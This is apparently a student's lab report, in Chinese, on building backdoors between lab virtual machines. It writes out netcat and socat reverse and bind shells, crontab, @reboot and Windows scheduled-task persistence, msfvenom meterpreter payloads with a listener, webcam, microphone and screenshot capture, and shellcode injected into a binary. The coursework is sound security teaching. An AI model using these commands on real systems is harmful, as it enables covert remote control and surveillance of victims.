当前位置: 首页 > news >正文

20232313 2025-2026-1 《网络与系统攻防技术》实验二实验报告 - 20232313

1.实验内容


基本实验内容如下:

  • 学习使用远程连接、结合-e类命令攻击主机,运行恶意文件;
  • 了解基本的远程连接工具;
  • 了解MSF meterpreter这一综合工具;
  • 了解长期控制的简单方式;

实验要求回答问题及解答:

(1)例举你能想到的一个后门进入到你系统中的可能方式?

这么说吧,同学趁我洗澡给我电脑设一个定时任务反向连接到他的攻击机上,
我们在宿舍又是公用一个WLAN校园网,他用MSF meterpreter就可以获取我的截屏/录音/shell等等。
很隐蔽,而且我很难发现。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

1. 通用的,直接执行exe(win)或者elf(linux)可执行恶意文件。
2. Win还可以设置开机自启动项等;
3. Linux还可以设置crontab任务等;

(3)Meterpreter有哪些给你印像深刻的功能?

它很综合,集成了很多功能。
首先它具有远程连接和监听的功能,还能在建立连接后使用截屏/查看摄像头等功能,很强大。
还可以在正常的elf文件中注入恶意shellcode,不用我们人为的构造,很方便。

(4)如何发现自己有系统有没有被安装后门?

因为我的攻防知识还很薄弱,所以我把判断权交给360。

2.实验过程

总共5个任务,如下:
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动 
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

我们一个一个来看。

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

首先你需要准备两台机器,一台作为攻击机,一台作为被攻击机。
在这里我采用的是两台Kali虚拟机。当然你采用windows也差不多。
image(两台虚拟机)
Kali是自带很多网络工具包括后面需要用到的MSF meterpreter。同样也带有我们现在需要使用的netcat.

(1.1)原理:

有一个命令可以让机器远程连接建立后自动执行本机上的某个指定文件。由于shell一般也是bin/sh文件或者bin/bash文件,
我们可以想办法让被攻击机连接攻击机,并在连接后执行其sh文件(即shell)。
如果要长期控制,最好定时让被攻击机主动向攻击机发起连接并执行sh文件,这时候
可以使用linux的crontab在被攻击机上设置一个定时任务,定时让被攻击机主动向攻击机发起连接并执行sh文件。

(1.2)步骤:

  1. 使用netcat直连
    在攻击机输入命令netcat -lvp 9999监听9999端口。
    攻击者守株待兔,监听9999端口。
    -l指的是监听,-v指的是详细信息, -p指定监听的端口
    5be788d3eb4fd2eff4ff26c258ddd6c0
    在被攻击机输入命令netcat -e /bin/sh 192.168.126.129 9999
    这玩意-e是表示:一旦建立连接就在本主机执行后续目录文件(在这里是~/bin/sh)。
    查看攻击机,发现连接已经建立,可以获取shell,没问题。如下图。可以看到,获取了克隆机的shell,ifconfig显示的是被攻击机的ip
    06dbbe586a41cbdf468c43fd1a41fa3b
    22b7d6588dda6de225a665ed2a064962
    2.用crontab定时
    上面说过了为什么使用crontab,再次不再赘述原理。
    在被攻击机上输入crontab -e进入定时任务编辑,在文本末尾添加12 **** /bin/netcat 192.168.126.129 9999 -e /bin/sh
    指的是每小时的第12分钟会自动执行反射连接。
    1d3f8a2135466266e78a934ee6012fe7
    然后我们回去攻击机监听本机的9999窗口(netcat -lvp 9999),等待16:12的到来即可。
    到16:12时,成功建立连接,得到shell。
    66545b35454f1c10d3c635af23883601

(2)使用socat获取主机操作Shell, 任务计划启动

(2.1)原理:

socat和netcat本质上差不多,可以算作是netcat的升级版。
原理也类似,都是通过建立连接从而执行shell文件的方式获取shell。这里我们采用Linux攻击机正向连接的方式。
稍有不同的是这个任务要求使用windows的任务计划,和linux的crontab类似,只不过是使用GUI界面设置代替命令行操作。

(2.2)步骤:

Windows按下win+r后输入compmgmt.msc,后填写任务名称,并新建一个触发器(当Windows工作站锁定时执行)如下图:
5ae9cc04be087926efb823d8d1903e4f
在操作->新建->程序或脚本中选择你的socat.exe文件的路径,
在添加参数一栏填写tcp-listen:5205 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5205,同时把cmd.exe的stderr重定向到stdout上。
简而言之就是可以使用Linux进行连接,连接成功后可以获取Windows的shell。操作如下图。
361cc16eaabe9370680c2e60e859ce80
设置完毕后,使用Win+L锁定一下我们的计算机。
解锁后发现可以发现已经启动了socat监听,监听端口为5205。
139eb8e73047539286bae7f9f52801d9
在Kali攻击机上输入socat - tcp:192.168.212.224:5205主动连接我们的windows即可获取shell。
ba24c01c58e936218225f448368bafe4
事后记得关掉任务计划,方法如下:
0a713fdd10939fa345dc90079e823a2d

(2.3)额外:

另外,如果是两台虚拟机kali进行这个实验的话,依然是通过crontab来实现的。
攻击机kali使用命令socat -d -d TCP-LISTEN:4444 STDOUT进行监听。这个代码也是简单的执行了一个监听端口然后将监听到的数据输出到标准输出流。
后面的-d -d参数是详细说明信息的意思。
34d185a80a618f9ce76f23ffefef400a
第二个任务要求我们用任务计划启动反射连接,在这里我设置一下重启(reboot)启动。
在被攻击机Kali使用crontab -e写入@reboot /usr/bin/socat TcP:192.168.126.129:4444 EXEC:/bin/bash至末尾。
aaf88c6e8c41908c4c534d3e6df8f28b
然后我们重启一下被攻击机,当被攻击机启动完成后返回攻击机界面,可以发现已经获取shell。
ea60906d3830a87a3cd931031c0806da

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

这边也是很幸运啊发现kali是自带meterpreter的。

(3.1)原理:

生成可执行的恶意文件发给被攻击机,一旦恶意文件被执行就反向连接攻击机的主机然后提供自己的shell。
利用netcat进行恶意文件的发送,原理如下图:
89f613f11a935512b8fc52cd5da87a4f

(3.2)步骤:

在攻击机使用命令msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=4444 -f elf -o payload.elf构造一个恶意文件。
elf是Linux下的可执行文件格式,对标windows的exe文件。
这边也是生成成功了。报的一些提示性语句不用管没啥问题。
d4c337f4c0e9661c103f8b460c410f92
我们用ncat完成传输。在这里选择4445端口建立连接。在攻击机上使用命令nc -lvnp 4445 < payload.elf
7928682dac452db2b197750a7d7a3e86
然后使用被攻击机主动连接。命令nc 192.168.126.129 4445
63b4828362b30297240fee184ba431d9
在被攻击机上使用file /tmp/payload.elf,我们可以看到,确实这个可执行文件已经被传输过来了。
b1a9ac45323a2930b80db0b9fbd9a343
请注意,传输的时候使用的是4445端口,而恶意代码使用的是4444端口,应当区分。
后再在被攻击机修改恶意文件的x权限位,使其可被系统加载执行。chmod +x/tmp/payload.elf
b1a9ac45323a2930b80db0b9fbd9a343
ls -l /tmp/payload.elf命令可以检验其权限。
c1ca9addc257cf604fa374254ed89906
完事后,我们先不运行这个后门程序,先在攻击机上建立对端口4444的监听。
在攻击机上使用msfconsole -q进入Metasploit控制台,(-q是安静模式可以少点启动输出,你不-q也没问题)
然后使用如下命令配置监听模块:

   use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.126.129  # 必须与生成payload时一致set LPORT 4444

大致原理是利用上面的一串东西,你可以监听指定端口,确保收到连接后自动匹配payload类型。
33f33c594b58617e103e331cedcf630a
这么个效果。然后用 exploit开始监听。
2f224b3107d48e71abdfcca6ba8d1944
这时候再去被攻击机启动我们的后门文件。使用/tmp/payload.elf &启动即可。&参数可以让进程转入后台运行。
返回攻击机,发现拿下了shell。使用ifconfig确认控制了被攻击机的shell(192.168.126.131)。
758bff22bbcd9204f06a84720c4e8882
474b2834e84caa7e1c705a131dd4010f
维持这个界面可以接下来完成我们的任务四。

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(4.1)原理:

这里输代码会用就行了。

(4.2)步骤:

维持连接,输入webcam snap尝试获取摄像头。我的kali是没有摄像头的,所以不用想盗取我的摄像头了。
60889b1cc0796c4f07da5b8d2715f588
输入record_mic尝试录音。(Windows可用,Linux特定版本不支持)
fcfff9a51032871e3b791e1fbf36be08
输入screenshot尝试截屏。(Windows可用,Linux特定版本不支持)
获取shell后可以设置crontab定时运行后台文件以便长久控制,如下图:
669e98775d9397b0b573b9ef047d93ce
以上。

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

(5.1)原理:

MSF软件很强大,能自动生成恶意shellcode注入到正常的文件中,使其执行后会自动执行反向连接交出shell的操作。
本次实验以实验1的pwn1为例。
在这一例里我们自己获取自己的shell,为了简单操作。

(5.2)步骤:

首先先把pwn1移动到我们的攻击机kali上准备注入shellcode。这个过程不再赘述。
使用msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=8888 -x /home/kali/pwn1 -f elf > 20232313_pwn
这个命令将pwn1注入shellcode后生成一个20232313_pwn的恶意文件。
LHOST=192.168.126.129是攻击者的 IP 地址;-p linux/x86/meterpreter/reverse_tcp指的是针对 Linux x86 系统的 Meterpreter 反向 TCP 负载。
生成成功后如下所示:
e5020c8f9a6aab0cd780fbe0ae3d9085
在攻击机上使用msfconsole -q进入Metasploit控制台,然后启动监听模块监听8888端口:

use exploit/multi/handler 
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.126.129
set LPORT 8888

然后输入exploit开始监听8888。然后,我们再另外新开一个shell运行我们刚刚生成的恶意文件20232313.pwn,即可看到在另一个终端获取了我们自己的shell。
d2a577b028b7564c093fd4bc659c5016

3.问题及解决方案

  • 问题1:我的windows在使用socat成功获取了被攻击机kali的shell,
    但是在传输windows输入流数据的时候,输入的字符串会默认携带一个"\r"标志,这个标志
    导致了虽然我获取了kali的shell,仍然难以正确执行命令。
  • 问题1解决方案:
    换两台Kali进行对攻。或者让自己的Windows变成被攻击机。都可以验证任务二。
  • 问题2:简单易懂的实验报告不好找。
  • 问题2解决方案:问同学哪个报告好用用哪个。我的评价是正确的选择大于自己乱想。自己随便做容易报错还费时费力,
    时间全花在配置环境上了,真正的原理反而学得少。

4.学习感悟、思考等

站在巨人的肩膀上干活事半功倍。

参考资料

  • 2019-2020-2 20175205侯颖《网络对抗技术》Exp2 后门原理与实践
http://www.hskmm.com/?act=detail&tid=35844

相关文章:

  • 2025 年电缆桥架生产厂家最新推荐排行榜:聚焦北方 / 河北区域及瓦楞 / 防火 / 模压 / 镀锌桥架优质品牌深度解析
  • 理解C++20的革命特性——协程支持2:编写简单的协程调度器 - 实践
  • 站位4
  • 九种UML常见图 -2025.10.19
  • 2025 油烟机厂家最新推荐榜:五大实力厂商技术与服务口碑评测权威发布滑轨/易清洁/免清洗/智能油烟机厂家推荐
  • VUE---打印功能
  • 洒水清洁,音乐相伴,洒水车声音-兰花草音乐芯片详细资料
  • JavaScript 开发代码规范指南
  • 2025 年深圳餐饮设计公司最新推荐排行榜: IP 化设计机构口碑甄选,助力餐饮品牌破局同质化竞争
  • [ACTF2020 新生赛]Include 1 文件包含
  • 编程语言变量的引用共享问题
  • 分析一下url的格式和windows与Linux共享文件的格式
  • 2025 年通风天窗源头厂家最新推荐:品牌定制能力、售后体系及综合实力深度测评榜单
  • 2025年唐卡装饰权威深度解析:家装行业新格局与品质承诺
  • 简略描述 MySQL 的备份及还原
  • 血战上海滩下载与安装教程(Win10/Win11完美运行版)
  • Linux中Expect脚本和Shell的脚本核心特点解析、以及比对分析和应用场景
  • 2025 长沙美食餐厅最新推荐排行榜:红记领衔老字号与新势力,湘味品质之选全解析
  • 2025年大连甘井子区优质养老机构推荐:从社区到自然的暖心之选
  • 2025 MIM 加工优质厂家推荐榜:精密零部件/金属件/金属零件/金属/金属成型MIM 加工厂家,聚焦精密制造的实力派之选
  • 2025年AI营销公司推荐:广东AI营销公司/广州AI营销公司如何以模块化服务破解企业增长困局
  • scanner
  • 2025年越南货架厂家推荐榜:立体/高位/仓储/托盘/重型/流利式/贯通式/穿梭车/模具/货架厂家,多维度解析行业实力派
  • 2025年主轴维修厂家企业推荐: 电/高速/精密/磨床/进口磨床/加工中心电/数控机床/高速电主轴维修厂家,服务商助力制造企业降本增效
  • 2025年磨床电主轴先升级推荐榜:国产/进口/内圆/外圆/无心/平面/来图定制磨床电主轴厂家,聚焦精密制造核心
  • 在写left join的时候 是大表在左侧 还是小表在左侧(二)
  • 在写left join的时候 是大表在左侧 还是小表在左侧(一)
  • 2025年变电站厂家最新推荐榜发布:聚焦高效电力解决方案,陕西四方华能电气设备有限公司领跑行业
  • 高级语言程序设计课程第二次个人作业
  • 2025精密球轴承实力厂家推荐,无锡雨露精工专注半导体设备轴承定制